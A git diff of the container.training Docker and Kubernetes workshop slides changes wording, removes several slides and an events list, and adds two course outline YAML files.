or [these slides](https://container.training/swarm-selfpaced.yml.html).
|
||||
See https://jpetazzo.github.io/container.training for all the deets about clustering!
|
||||
|
||||
---
|
||||
|
||||
@@ -556,7 +554,7 @@ General idea:
|
||||
|
||||
* So far, we have specified which network to use when starting the container.
|
||||
|
||||
* The Docker Engine also allows connecting and disconnecting while the container is running.
|
||||
* The Docker Engine also allows to connect and disconnect while the container runs.
|
||||
|
||||
* This feature is exposed through the Docker API, and through two Docker CLI commands:
|
||||
|
||||
|
||||
@@ -76,78 +76,6 @@ CMD ["python", "app.py"]
|
||||
|
||||
---
|
||||
|
||||
## Be careful with `chown`, `chmod`, `mv`
|
||||
|
||||
* Layers cannot store efficiently changes in permissions or ownership.
|
||||
|
||||
* Layers cannot represent efficiently when a file is moved either.
|
||||
|
||||
* As a result, operations like `chown`, `chown`, `mv` can be expensive.
|
||||
|
||||
* For instance, in the Dockerfile snippet below, each `RUN` line
|
||||
creates a layer with an entire copy of `some-file`.
|
||||
|
||||
```dockerfile
|
||||
COPY some-file .
|
||||
RUN chown www-data:www-data some-file
|
||||
RUN chmod 644 some-file
|
||||
RUN mv some-file /var/www
|
||||
```
|
||||
|
||||
* How can we avoid that?
|
||||
|
||||
---
|
||||
|
||||
## Put files on the right place
|
||||
|
||||
* Instead of using `mv`, directly put files at the right place.
|
||||
|
||||
* When extracting archives (tar, zip...), merge operations in a single layer.
|
||||
|
||||
Example:
|
||||
|
||||
```dockerfile
|
||||
...
|
||||
RUN wget http://.../foo.tar.gz \
|
||||
&& tar -zxf foo.tar.gz \
|
||||
&& mv foo/fooctl /usr/local/bin \
|
||||
&& rm -rf foo
|
||||
...
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Use `COPY --chown`
|
||||
|
||||
* The Dockerfile instruction `COPY` can take a `--chown` parameter.
|
||||
|
||||
Examples:
|
||||
|
||||
```dockerfile
|
||||
...
|
||||
COPY --chown=1000 some-file .
|
||||
COPY --chown=1000:1000 some-file .
|
||||
COPY --chown=www-data:www-data some-file .
|
||||
```
|
||||
|
||||
* The `--chown` flag can specify a user, or a user:group pair.
|
||||
|
||||
* The user and group can be specified as names or numbers.
|
||||
|
||||
* When using names, the names must exist in `/etc/passwd` or `/etc/group`.
|
||||
|
||||
*(In the container, not on the host!)*
|
||||
|
||||
---
|
||||
|
||||
## Set correct permissions locally
|
||||
|
||||
* Instead of using `chmod`, set the right file permissions locally.
|
||||
|
||||
* When files are copied with `COPY`, permissions are preserved.
|
||||
|
||||
---
|
||||
|
||||
## Embedding unit tests in the build process
|
||||
|
||||
```dockerfile
|
||||
|
||||
@@ -1,5 +0,0 @@
|
||||
# Exercise — writing a Compose file
|
||||
|
||||
Let's write a Compose file for the wordsmith app!
|
||||
|
||||
The code is at: https://github.com/jpetazzo/wordsmith
|
||||
@@ -1,9 +0,0 @@
|
||||
# Exercise — writing better Dockerfiles
|
||||
|
||||
Let's update our Dockerfiles to leverage multi-stage builds!
|
||||
|
||||
The code is at: https://github.com/jpetazzo/wordsmith
|
||||
|
||||
Use a different tag for these images, so that we can compare their sizes.
|
||||
|
||||
What's the size difference between single-stage and multi-stage builds?
|
||||
@@ -1,5 +0,0 @@
|
||||
# Exercise — writing Dockerfiles
|
||||
|
||||
Let's write Dockerfiles for an existing application!
|
||||
|
||||
The code is at: https://github.com/jpetazzo/wordsmith
|
||||
@@ -203,90 +203,4 @@ bash: figlet: command not found
|
||||
|
||||
* The basic Ubuntu image was used, and `figlet` is not here.
|
||||
|
||||
---
|
||||
|
||||
## Where's my container?
|
||||
|
||||
* Can we reuse that container that we took time to customize?
|
||||
|
||||
*We can, but that's not the default workflow with Docker.*
|
||||
|
||||
* What's the default workflow, then?
|
||||
|
||||
*Always start with a fresh container.*
|
||||
<br/>
|
||||
*If we need something installed in our container, build a custom image.*
|
||||
|
||||
* That seems complicated!
|
||||
|
||||
*We'll see that it's actually pretty easy!*
|
||||
|
||||
* And what's the point?
|
||||
|
||||
*This puts a strong emphasis on automation and repeatability. Let's see why ...*
|
||||
|
||||
---
|
||||
|
||||
## Pets vs. Cattle
|
||||
|
||||
* In the "pets vs. cattle" metaphor, there are two kinds of servers.
|
||||
|
||||
* Pets:
|
||||
|
||||
* have distinctive names and unique configurations
|
||||
|
||||
* when they have an outage, we do everything we can to fix them
|
||||
|
||||
* Cattle:
|
||||
|
||||
* have generic names (e.g. with numbers) and generic configuration
|
||||
|
||||
* configuration is enforced by configuration management, golden images ...
|
||||
|
||||
* when they have an outage, we can replace them immediately with a new server
|
||||
|
||||
* What's the connection with Docker and containers?
|
||||
|
||||
---
|
||||
|
||||
## Local development environments
|
||||
|
||||
* When we use local VMs (with e.g. VirtualBox or VMware), our workflow looks like this:
|
||||
|
||||
* create VM from base template (Ubuntu, CentOS...)
|
||||
|
||||
* install packages, set up environment
|
||||
|
||||
* work on project
|
||||
|
||||
* when done, shut down VM
|
||||
|
||||
* next time we need to work on project, restart VM as we left it
|
||||
|
||||
* if we need to tweak the environment, we do it live
|
||||
|
||||
* Over time, the VM configuration evolves, diverges.
|
||||
|
||||
* We don't have a clean, reliable, deterministic way to provision that environment.
|
||||
|
||||
---
|
||||
|
||||
## Local development with Docker
|
||||
|
||||
* With Docker, the workflow looks like this:
|
||||
|
||||
* create container image with our dev environment
|
||||
|
||||
* run container with that image
|
||||
|
||||
* work on project
|
||||
|
||||
* when done, shut down container
|
||||
|
||||
* next time we need to work on project, start a new container
|
||||
|
||||
* if we need to tweak the environment, we create a new image
|
||||
|
||||
* We have a clear definition of our environment, and can share it reliably with others.
|
||||
|
||||
* Let's see in the next chapters how to bake a custom image with `figlet`!
|
||||
* We will see in the next chapters how to bake a custom image with `figlet`.
|
||||
|
||||
@@ -70,9 +70,8 @@ class: pic
|
||||
|
||||
* An image is a read-only filesystem.
|
||||
|
||||
* A container is an encapsulated set of processes,
|
||||
|
||||
running in a read-write copy of that filesystem.
|
||||
* A container is an encapsulated set of processes running in a
|
||||
read-write copy of that filesystem.
|
||||
|
||||
* To optimize container boot time, *copy-on-write* is used
|
||||
instead of regular copy.
|
||||
@@ -178,11 +177,8 @@ Let's explain each of them.
|
||||
|
||||
## Root namespace
|
||||
|
||||
The root namespace is for official images.
|
||||
|
||||
They are gated by Docker Inc.
|
||||
|
||||
They are generally authored and maintained by third parties.
|
||||
The root namespace is for official images. They are put there by Docker Inc.,
|
||||
but they are generally authored and maintained by third parties.
|
||||
|
||||
Those images include:
|
||||
|
||||
@@ -192,7 +188,7 @@ Those images include:
|
||||
|
||||
* Ready-to-use components and services, like redis, postgresql...
|
||||
|
||||
* Over 150 at this point!
|
||||
* Over 130 at this point!
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -156,7 +156,7 @@ Option 3:
|
||||
|
||||
* Use a *volume* to mount local files into the container
|
||||
* Make changes locally
|
||||
* Changes are reflected in the container
|
||||
* Changes are reflected into the container
|
||||
|
||||
---
|
||||
|
||||
@@ -176,7 +176,7 @@ $ docker run -d -v $(pwd):/src -P namer
|
||||
|
||||
* `namer` is the name of the image we will run.
|
||||
|
||||
* We don't specify a command to run because it is already set in the Dockerfile via `CMD`.
|
||||
* We don't specify a command to run because it is already set in the Dockerfile.
|
||||
|
||||
Note: on Windows, replace `$(pwd)` with `%cd%` (or `${pwd}` if you use PowerShell).
|
||||
|
||||
@@ -192,7 +192,7 @@ The flag structure is:
|
||||
[host-path]:[container-path]:[rw|ro]
|
||||
```
|
||||
|
||||
* `[host-path]` and `[container-path]` are created if they don't exist.
|
||||
* If `[host-path]` or `[container-path]` doesn't exist it is created.
|
||||
|
||||
* You can control the write status of the volume with the `ro` and
|
||||
`rw` options.
|
||||
@@ -255,13 +255,13 @@ color: red;
|
||||
|
||||
* Volumes are *not* copying or synchronizing files between the host and the container.
|
||||
|
||||
* Volumes are *bind mounts*: a kernel mechanism associating one path with another.
|
||||
* Volumes are *bind mounts*: a kernel mechanism associating a path to another.
|
||||
|
||||
* Bind mounts are *kind of* similar to symbolic links, but at a very different level.
|
||||
|
||||
* Changes made on the host or on the container will be visible on the other side.
|
||||
|
||||
(Under the hood, it's the same file anyway.)
|
||||
(Since under the hood, it's the same file on both anyway.)
|
||||
|
||||
---
|
||||
|
||||
@@ -273,7 +273,7 @@ by Chad Fowler, where he explains the concept of immutable infrastructure.)*
|
||||
|
||||
--
|
||||
|
||||
* Let's majorly mess up our container.
|
||||
* Let's mess up majorly with our container.
|
||||
|
||||
(Remove files or whatever.)
|
||||
|
||||
@@ -319,7 +319,7 @@ and *canary deployments*.
|
||||
<br/>
|
||||
Use the `-v` flag to mount our source code inside the container.
|
||||
|
||||
3. Edit the source code outside the container, using familiar tools.
|
||||
3. Edit the source code outside the containers, using regular tools.
|
||||
<br/>
|
||||
(vim, emacs, textmate...)
|
||||
|
||||
|
||||
@@ -86,13 +86,13 @@ class: extra-details, deep-dive
|
||||
|
||||
- the `unshare()` system call.
|
||||
|
||||
- The Linux tool `unshare` allows doing that from a shell.
|
||||
- The Linux tool `unshare` allows to do that from a shell.
|
||||
|
||||
- A new process can re-use none / all / some of the namespaces of its parent.
|
||||
|
||||
- It is possible to "enter" a namespace with the `setns()` system call.
|
||||
|
||||
- The Linux tool `nsenter` allows doing that from a shell.
|
||||
- The Linux tool `nsenter` allows to do that from a shell.
|
||||
|
||||
---
|
||||
|
||||
@@ -138,11 +138,11 @@ class: extra-details, deep-dive
|
||||
|
||||
- gethostname / sethostname
|
||||
|
||||
- Allows setting a custom hostname for a container.
|
||||
- Allows to set a custom hostname for a container.
|
||||
|
||||
- That's (mostly) it!
|
||||
|
||||
- Also allows setting the NIS domain.
|
||||
- Also allows to set the NIS domain.
|
||||
|
||||
(If you don't know what a NIS domain is, you don't have to worry about it!)
|
||||
|
||||
@@ -392,13 +392,13 @@ class: extra-details
|
||||
|
||||
- Processes can have their own root fs (à la chroot).
|
||||
|
||||
- Processes can also have "private" mounts. This allows:
|
||||
- Processes can also have "private" mounts. This allows to:
|
||||
|
||||
- isolating `/tmp` (per user, per service...)
|
||||
- isolate `/tmp` (per user, per service...)
|
||||
|
||||
- masking `/proc`, `/sys` (for processes that don't need them)
|
||||
- mask `/proc`, `/sys` (for processes that don't need them)
|
||||
|
||||
- mounting remote filesystems or sensitive data,
|
||||
- mount remote filesystems or sensitive data,
|
||||
<br/>but make it visible only for allowed processes
|
||||
|
||||
- Mounts can be totally private, or shared.
|
||||
@@ -570,7 +570,7 @@ Check `man 2 unshare` and `man pid_namespaces` if you want more details.
|
||||
|
||||
## User namespace
|
||||
|
||||
- Allows mapping UID/GID; e.g.:
|
||||
- Allows to map UID/GID; e.g.:
|
||||
|
||||
- UID 0→1999 in container C1 is mapped to UID 10000→11999 on host
|
||||
- UID 0→1999 in container C2 is mapped to UID 12000→13999 on host
|
||||
@@ -947,7 +947,7 @@ Killed
|
||||
|
||||
(i.e., "this group of process used X seconds of CPU0 and Y seconds of CPU1".)
|
||||
|
||||
- Allows setting relative weights used by the scheduler.
|
||||
- Allows to set relative weights used by the scheduler.
|
||||
|
||||
---
|
||||
|
||||
@@ -1101,9 +1101,9 @@ See `man capabilities` for the full list and details.
|
||||
|
||||
- Original seccomp only allows `read()`, `write()`, `exit()`, `sigreturn()`.
|
||||
|
||||
- The seccomp-bpf extension allows specifying custom filters with BPF rules.
|
||||
- The seccomp-bpf extension allows to specify custom filters with BPF rules.
|
||||
|
||||
- This allows filtering by syscall, and by parameter.
|
||||
- This allows to filter by syscall, and by parameter.
|
||||
|
||||
- BPF code can perform arbitrarily complex checks, quickly, and safely.
|
||||
|
||||
|
||||
@@ -6,6 +6,8 @@ In this chapter, we will:
|
||||
|
||||
* Present (from a high-level perspective) some orchestrators.
|
||||
|
||||
* Show one orchestrator (Kubernetes) in action.
|
||||
|
||||
---
|
||||
|
||||
class: pic
|
||||
@@ -119,7 +121,7 @@ Now, how are things for our IAAS provider?
|
||||
- Solution: *migrate* VMs and shutdown empty servers
|
||||
|
||||
(e.g. combine two hypervisors with 40% load into 80%+0%,
|
||||
<br/>and shut down the one at 0%)
|
||||
<br/>and shutdown the one at 0%)
|
||||
|
||||
---
|
||||
|
||||
@@ -127,7 +129,7 @@ Now, how are things for our IAAS provider?
|
||||
|
||||
How do we implement this?
|
||||
|
||||
- Shut down empty hosts (but keep some spare capacity)
|
||||
- Shutdown empty hosts (but keep some spare capacity)
|
||||
|
||||
- Start hosts again when capacity gets low
|
||||
|
||||
@@ -175,7 +177,7 @@ In practice, these goals often conflict.
|
||||
|
||||
- 16 GB RAM, 8 cores, 1 TB disk
|
||||
|
||||
- Each week, your team requests:
|
||||
- Each week, your team asks:
|
||||
|
||||
- one VM with X RAM, Y CPU, Z disk
|
||||
|
||||
|
||||
@@ -72,7 +72,7 @@
|
||||
|
||||
- For memory usage, the mechanism is part of the *cgroup* subsystem.
|
||||
|
||||
- This subsystem allows limiting the memory for a process or a group of processes.
|
||||
- This subsystem allows to limit the memory for a process or a group of processes.
|
||||
|
||||
- A container engine leverages these mechanisms to limit memory for a container.
|
||||
|
||||
|
||||
@@ -45,13 +45,13 @@ individual Docker VM.*
|
||||
|
||||
- The Docker Engine is a daemon (a service running in the background).
|
||||
|
||||
- This daemon manages containers, the same way that a hypervisor manages VMs.
|
||||
- This daemon manages containers, the same way that an hypervisor manages VMs.
|
||||
|
||||
- We interact with the Docker Engine by using the Docker CLI.
|
||||
|
||||
- The Docker CLI and the Docker Engine communicate through an API.
|
||||
|
||||
- There are many other programs and client libraries which use that API.
|
||||
- There are many other programs, and many client libraries, to use that API.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -33,13 +33,13 @@ Docker volumes can be used to achieve many things, including:
|
||||
|
||||
* Sharing a *single file* between the host and a container.
|
||||
|
||||
* Using remote storage and custom storage with *volume drivers*.
|
||||
* Using remote storage and custom storage with "volume drivers".
|
||||
|
||||
---
|
||||
|
||||
## Volumes are special directories in a container
|
||||
|
||||
Volumes can be declared in two different ways:
|
||||
Volumes can be declared in two different ways.
|
||||
|
||||
* Within a `Dockerfile`, with a `VOLUME` instruction.
|
||||
|
||||
@@ -163,7 +163,7 @@ Volumes are not anchored to a specific path.
|
||||
|
||||
* Volumes are used with the `-v` option.
|
||||
|
||||
* When a host path does not contain a `/`, it is considered a volume name.
|
||||
* When a host path does not contain a /, it is considered to be a volume name.
|
||||
|
||||
Let's start a web server using the two previous volumes.
|
||||
|
||||
@@ -189,7 +189,7 @@ $ curl localhost:1234
|
||||
|
||||
* In this example, we will run a text editor in the other container.
|
||||
|
||||
(But this could be an FTP server, a WebDAV server, a Git receiver...)
|
||||
(But this could be a FTP server, a WebDAV server, a Git receiver...)
|
||||
|
||||
Let's start another container using the `webapps` volume.
|
||||
|
||||
|
||||
|
Before Width: | Height: | Size: 82 KiB |
|
Before Width: | Height: | Size: 81 KiB |
|
Before Width: | Height: | Size: 82 KiB |
|
Before Width: | Height: | Size: 82 KiB |
|
Before Width: | Height: | Size: 84 KiB |
|
Before Width: | Height: | Size: 82 KiB |
|
Before Width: | Height: | Size: 82 KiB |
|
Before Width: | Height: | Size: 82 KiB |
|
Before Width: | Height: | Size: 82 KiB |
|
Before Width: | Height: | Size: 82 KiB |
|
Before Width: | Height: | Size: 82 KiB |
|
Before Width: | Height: | Size: 82 KiB |
|
Before Width: | Height: | Size: 82 KiB |
|
Before Width: | Height: | Size: 83 KiB |
|
Before Width: | Height: | Size: 82 KiB |
|
Before Width: | Height: | Size: 82 KiB |
|
Before Width: | Height: | Size: 81 KiB |
|
Before Width: | Height: | Size: 81 KiB |
|
Before Width: | Height: | Size: 81 KiB |
@@ -1,116 +1,3 @@
|
||||
- date: [2019-11-04, 2019-11-05]
|
||||
country: de
|
||||
city: Berlin
|
||||
event: Velocity
|
||||
speaker: jpetazzo
|
||||
title: Deploying and scaling applications with Kubernetes
|
||||
attend: https://conferences.oreilly.com/velocity/vl-eu/public/schedule/detail/79109
|
||||
slides: https://velocity-2019-11.container.training/
|
||||
|
||||
- date: 2019-11-13
|
||||
country: fr
|
||||
city: Marseille
|
||||
event: DevopsDDay
|
||||
speaker: jpetazzo
|
||||
title: Déployer ses applications avec Kubernetes (in French)
|
||||
lang: fr
|
||||
attend: http://2019.devops-dday.com/Workshop.html
|
||||
|
||||
- date: 2019-10-30
|
||||
country: us
|
||||
city: Portland, OR
|
||||
event: LISA
|
||||
speaker: jpetazzo
|
||||
title: Deep Dive into Kubernetes Internals for Builders and Operators
|
||||
attend: https://www.usenix.org/conference/lisa19/presentation/petazzoni-tutorial
|
||||
|
||||
- date: [2019-10-22, 2019-10-24]
|
||||
country: us
|
||||
city: Charlotte, NC
|
||||
event: Ardan Labs
|
||||
speaker: jpetazzo
|
||||
title: Kubernetes Training
|
||||
attend: https://www.eventbrite.com/e/containers-docker-and-kubernetes-training-for-devs-and-ops-charlotte-nc-november-2019-tickets-73296659281
|
||||
|
||||
- date: 2019-10-22
|
||||
country: us
|
||||
city: Charlotte, NC
|
||||
event: Ardan Labs
|
||||
speaker: jpetazzo
|
||||
title: Docker & Containers Training
|
||||
attend: https://www.eventbrite.com/e/containers-docker-and-kubernetes-training-for-devs-and-ops-charlotte-nc-november-2019-tickets-73296659281
|
||||
|
||||
- date: 2019-10-22
|
||||
country: de
|
||||
city: Berlin
|
||||
event: GOTO
|
||||
speaker: bretfisher
|
||||
title: Kubernetes or Swarm? Build Both, Deploy Apps, Learn The Differences
|
||||
attend: https://gotober.com/2019/workshops/194
|
||||
|
||||
- date: [2019-09-24, 2019-09-25]
|
||||
country: fr
|
||||
city: Paris
|
||||
event: ENIX SAS
|
||||
speaker: jpetazzo
|
||||
title: Déployer ses applications avec Kubernetes (in French)
|
||||
lang: fr
|
||||
attend: https://enix.io/fr/services/formation/deployer-ses-applications-avec-kubernetes/
|
||||
slides: https://kube-2019-09.container.training/
|
||||
|
||||
- date: 2019-08-27
|
||||
country: tr
|
||||
city: Izmir
|
||||
event: HacknBreak
|
||||
speaker: gurayyildirim
|
||||
title: Deploying and scaling applications with Kubernetes (in Turkish)
|
||||
lang: tr
|
||||
attend: https://hacknbreak.com
|
||||
|
||||
- date: 2019-08-26
|
||||
country: tr
|
||||
city: Izmir
|
||||
event: HacknBreak
|
||||
speaker: gurayyildirim
|
||||
title: Container Orchestration with Docker and Swarm (in Turkish)
|
||||
lang: tr
|
||||
attend: https://hacknbreak.com
|
||||
|
||||
- date: 2019-08-25
|
||||
country: tr
|
||||
city: Izmir
|
||||
event: HackBreak
|
||||
speaker: gurayyildirim
|
||||
title: Introduction to Docker and Containers (in Turkish)
|
||||
lang: tr
|
||||
attend: https://hacknbreak.com
|
||||
|
||||
- date: 2019-07-16
|
||||
country: us
|
||||
city: Portland, OR
|
||||
event: OSCON
|
||||
speaker: bridgetkromhout
|
||||
title: "Kubernetes 201: Production tooling"
|
||||
attend: https://conferences.oreilly.com/oscon/oscon-or/public/schedule/detail/76390
|
||||
slides: https://oscon2019.container.training
|
||||
|
||||
- date: 2019-06-17
|
||||
country: ca
|
||||
city: Montréal
|
||||
event: Zenika
|
||||
speaker: jpetazzo
|
||||
title: Getting Started With Kubernetes
|
||||
attend: https://www.eventbrite.com/e/getting-started-with-kubernetes-1-day-en-tickets-61658444066
|
||||
|
||||
- date: [2019-06-10, 2019-06-11]
|
||||
city: San Jose, CA
|
||||
country: us
|
||||
event: Velocity
|
||||
title: Kubernetes for administrators and operators
|
||||
speaker: jpetazzo
|
||||
attend: https://conferences.oreilly.com/velocity/vl-ca/public/schedule/detail/75313
|
||||
slides: https://kadm-2019-06.container.training/
|
||||
|
||||
- date: 2019-05-01
|
||||
country: us
|
||||
city: Cleveland, OH
|
||||
@@ -118,8 +5,6 @@
|
||||
speaker: jpetazzo, s0ulshake
|
||||
title: Getting started with Kubernetes and container orchestration
|
||||
attend: https://us.pycon.org/2019/schedule/presentation/74/
|
||||
slides: https://pycon2019.container.training/
|
||||
video: https://www.youtube.com/watch?v=J08MrW2NC1Y
|
||||
|
||||
- date: 2019-04-28
|
||||
country: us
|
||||
@@ -128,7 +13,6 @@
|
||||
speaker: jpetazzo
|
||||
title: Getting Started With Kubernetes and Container Orchestration
|
||||
attend: https://gotochgo.com/2019/workshops/148
|
||||
slides: https://gotochgo2019.container.training/
|
||||
|
||||
- date: 2019-04-26
|
||||
country: fr
|
||||
@@ -137,7 +21,6 @@
|
||||
speaker: jpetazzo
|
||||
title: Opérer et administrer Kubernetes
|
||||
attend: https://enix.io/fr/services/formation/operer-et-administrer-kubernetes/
|
||||
slides: https://kadm-2019-04.container.training/
|
||||
|
||||
- date: [2019-04-23, 2019-04-24]
|
||||
country: fr
|
||||
@@ -147,7 +30,6 @@
|
||||
title: Déployer ses applications avec Kubernetes (in French)
|
||||
lang: fr
|
||||
attend: https://enix.io/fr/services/formation/deployer-ses-applications-avec-kubernetes/
|
||||
slides: https://kube-2019-04.container.training/
|
||||
|
||||
- date: [2019-04-15, 2019-04-16]
|
||||
country: fr
|
||||
@@ -157,7 +39,7 @@
|
||||
title: Bien démarrer avec les conteneurs (in French)
|
||||
lang: fr
|
||||
attend: https://enix.io/fr/services/formation/bien-demarrer-avec-les-conteneurs/
|
||||
slides: http://intro-2019-04.container.training/
|
||||
slides: http://intro-2019-04.container.training
|
||||
|
||||
- date: 2019-03-08
|
||||
country: uk
|
||||
|
||||
85
slides/intro-fullday.yml
Normal file
@@ -0,0 +1,85 @@
|
||||
title: |
|
||||
Introduction
|
||||
to Containers
|
||||
|
||||
chat: "[Slack](https://dockercommunity.slack.com/messages/C7GKACWDV)"
|
||||
#chat: "[Gitter](https://gitter.im/jpetazzo/workshop-yyyymmdd-city)"
|
||||
|
||||
gitrepo: github.com/jpetazzo/container.training
|
||||
|
||||
slides: http://container.training/
|
||||
|
||||
exclude:
|
||||
- self-paced
|
||||
|
||||
chapters:
|
||||
- shared/title.md
|
||||
- logistics.md
|
||||
- containers/intro.md
|
||||
- shared/about-slides.md
|
||||
- shared/toc.md
|
||||
- - containers/Docker_Overview.md
|
||||
#- containers/Docker_History.md
|
||||
- containers/Training_Environment.md
|
||||
- containers/Installing_Docker.md
|
||||
- containers/First_Containers.md
|
||||
- containers/Background_Containers.md
|
||||
- containers/Start_And_Attach.md
|
||||
- - containers/Initial_Images.md
|
||||
- containers/Building_Images_Interactively.md
|
||||
- containers/Building_Images_With_Dockerfiles.md
|
||||
- containers/Cmd_And_Entrypoint.md
|
||||
- - containers/Copying_Files_During_Build.md
|
||||
- |
|
||||
# Exercise — writing Dockerfiles
|
||||
|
||||
Let's write Dockerfiles for an existing application!
|
||||
|
||||
The code is at: https://github.com/jpetazzo/wordsmith
|
||||
|
||||
- containers/Multi_Stage_Builds.md
|
||||
- containers/Publishing_To_Docker_Hub.md
|
||||
- containers/Dockerfile_Tips.md
|
||||
- |
|
||||
# Exercise — writing better Dockerfiles
|
||||
|
||||
Let's update our Dockerfiles to leverage multi-stage builds!
|
||||
|
||||
The code is at: https://github.com/jpetazzo/wordsmith
|
||||
|
||||
Use a different tag for these images, so that we can compare their sizes.
|
||||
|
||||
What's the size difference between single-stage and multi-stage builds?
|
||||
|
||||
- - containers/Naming_And_Inspecting.md
|
||||
- containers/Labels.md
|
||||
- containers/Getting_Inside.md
|
||||
- containers/Resource_Limits.md
|
||||
- - containers/Container_Networking_Basics.md
|
||||
- containers/Network_Drivers.md
|
||||
- containers/Container_Network_Model.md
|
||||
#- containers/Connecting_Containers_With_Links.md
|
||||
- containers/Ambassadors.md
|
||||
- - containers/Local_Development_Workflow.md
|
||||
- containers/Windows_Containers.md
|
||||
- containers/Working_With_Volumes.md
|
||||
- containers/Compose_For_Dev_Stacks.md
|
||||
- |
|
||||
# Exercise — writing a Compose file
|
||||
|
||||
Let's write a Compose file for the wordsmith app!
|
||||
|
||||
The code is at: https://github.com/jpetazzo/wordsmith
|
||||
|
||||
- - containers/Docker_Machine.md
|
||||
- containers/Advanced_Dockerfiles.md
|
||||
- containers/Application_Configuration.md
|
||||
- containers/Logging.md
|
||||
- - containers/Namespaces_Cgroups.md
|
||||
- containers/Copy_On_Write.md
|
||||
#- containers/Containers_From_Scratch.md
|
||||
- - containers/Container_Engines.md
|
||||
#- containers/Ecosystem.md
|
||||
- containers/Orchestration_Overview.md
|
||||
- shared/thankyou.md
|
||||
- containers/links.md
|
||||
60
slides/intro-selfpaced.yml
Normal file
@@ -0,0 +1,60 @@
|
||||
title: |
|
||||
Introduction
|
||||
to Containers
|
||||
|
||||
chat: "[Slack](https://dockercommunity.slack.com/messages/C7GKACWDV)"
|
||||
#chat: "[Gitter](https://gitter.im/jpetazzo/workshop-yyyymmdd-city)"
|
||||
|
||||
gitrepo: github.com/jpetazzo/container.training
|
||||
|
||||
slides: http://container.training/
|
||||
|
||||
exclude:
|
||||
- in-person
|
||||
|
||||
chapters:
|
||||
- shared/title.md
|
||||
# - shared/logistics.md
|
||||
- containers/intro.md
|
||||
- shared/about-slides.md
|
||||
- shared/toc.md
|
||||
- - containers/Docker_Overview.md
|
||||
- containers/Docker_History.md
|
||||
- containers/Training_Environment.md
|
||||
- containers/Installing_Docker.md
|
||||
- containers/First_Containers.md
|
||||
- containers/Background_Containers.md
|
||||
- containers/Start_And_Attach.md
|
||||
- - containers/Initial_Images.md
|
||||
- containers/Building_Images_Interactively.md
|
||||
- containers/Building_Images_With_Dockerfiles.md
|
||||
- containers/Cmd_And_Entrypoint.md
|
||||
- containers/Copying_Files_During_Build.md
|
||||
- - containers/Multi_Stage_Builds.md
|
||||
- containers/Publishing_To_Docker_Hub.md
|
||||
- containers/Dockerfile_Tips.md
|
||||
- - containers/Naming_And_Inspecting.md
|
||||
- containers/Labels.md
|
||||
- containers/Getting_Inside.md
|
||||
- - containers/Container_Networking_Basics.md
|
||||
- containers/Network_Drivers.md
|
||||
- containers/Container_Network_Model.md
|
||||
#- containers/Connecting_Containers_With_Links.md
|
||||
- containers/Ambassadors.md
|
||||
- - containers/Local_Development_Workflow.md
|
||||
- containers/Windows_Containers.md
|
||||
- containers/Working_With_Volumes.md
|
||||
- containers/Compose_For_Dev_Stacks.md
|
||||
- containers/Docker_Machine.md
|
||||
- - containers/Advanced_Dockerfiles.md
|
||||
- containers/Application_Configuration.md
|
||||
- containers/Logging.md
|
||||
- containers/Resource_Limits.md
|
||||
- - containers/Namespaces_Cgroups.md
|
||||
- containers/Copy_On_Write.md
|
||||
#- containers/Containers_From_Scratch.md
|
||||
- - containers/Container_Engines.md
|
||||
- containers/Ecosystem.md
|
||||
- containers/Orchestration_Overview.md
|
||||
- shared/thankyou.md
|
||||
- containers/links.md
|
||||
@@ -165,25 +165,6 @@ What does that mean?
|
||||
|
||||
---
|
||||
|
||||
## Let's experiment a bit!
|
||||
|
||||
- For the exercises in this section, connect to the first node of the `test` cluster
|
||||
|
||||
.exercise[
|
||||
|
||||
- SSH to the first node of the test cluster
|
||||
|
||||
- Check that the cluster is operational:
|
||||
```bash
|
||||
kubectl get nodes
|
||||
```
|
||||
|
||||
- All nodes should be `Ready`
|
||||
|
||||
]
|
||||
|
||||
---
|
||||
|
||||
## Create
|
||||
|
||||
- Let's create a simple object
|
||||
@@ -214,7 +195,7 @@ This is equivalent to `kubectl create namespace hello`.
|
||||
|
||||
- Read back our object:
|
||||
```bash
|
||||
kubectl get namespace hello -o yaml
|
||||
kuectl get namespace hello -o yaml
|
||||
```
|
||||
|
||||
]
|
||||
@@ -307,7 +288,7 @@ class: extra-details
|
||||
|
||||
- In the other, update our namespace:
|
||||
```bash
|
||||
kubectl label namespaces hello color=purple
|
||||
kubectl label namespaces color=purple
|
||||
```
|
||||
|
||||
]
|
||||
@@ -356,9 +337,9 @@ We demonstrated *update* and *watch* semantics.
|
||||
|
||||
- we create a Deployment object
|
||||
|
||||
- the Deployment controller notices it, and creates a ReplicaSet
|
||||
- the Deployment controller notices it, creates a ReplicaSet
|
||||
|
||||
- the ReplicaSet controller notices the ReplicaSet, and creates a Pod
|
||||
- the ReplicaSet controller notices it, creates a Pod
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Authentication and authorization
|
||||
# Authentication and authorization (bonus)
|
||||
|
||||
*And first, a little refresher!*
|
||||
|
||||
@@ -22,7 +22,7 @@
|
||||
|
||||
- When the API server receives a request, it tries to authenticate it
|
||||
|
||||
(it examines headers, certificates... anything available)
|
||||
(it examines headers, certificates ... anything available)
|
||||
|
||||
- Many authentication methods are available and can be used simultaneously
|
||||
|
||||
@@ -34,7 +34,7 @@
|
||||
- the user ID
|
||||
- a list of groups
|
||||
|
||||
- The API server doesn't interpret these; that'll be the job of *authorizers*
|
||||
- The API server doesn't interpret these; it'll be the job of *authorizers*
|
||||
|
||||
---
|
||||
|
||||
@@ -50,7 +50,7 @@
|
||||
|
||||
- [HTTP basic auth](https://en.wikipedia.org/wiki/Basic_access_authentication)
|
||||
|
||||
(carrying user and password in an HTTP header)
|
||||
(carrying user and password in a HTTP header)
|
||||
|
||||
- Authentication proxy
|
||||
|
||||
@@ -88,7 +88,7 @@
|
||||
|
||||
(i.e. they are not stored in etcd or anywhere else)
|
||||
|
||||
- Users can be created (and added to groups) independently of the API
|
||||
- Users can be created (and given membership to groups) independently of the API
|
||||
|
||||
- The Kubernetes API can be set up to use your custom CA to validate client certs
|
||||
|
||||
@@ -143,21 +143,19 @@ class: extra-details
|
||||
|
||||
(see issue [#18982](https://github.com/kubernetes/kubernetes/issues/18982))
|
||||
|
||||
- As a result, we don't have an easy way to terminate someone's access
|
||||
- As a result, we cannot easily suspend a user's access
|
||||
|
||||
(if their key is compromised, or they leave the organization)
|
||||
- There are workarounds, but they are very inconvenient:
|
||||
|
||||
- Option 1: re-create a new CA and re-issue everyone's certificates
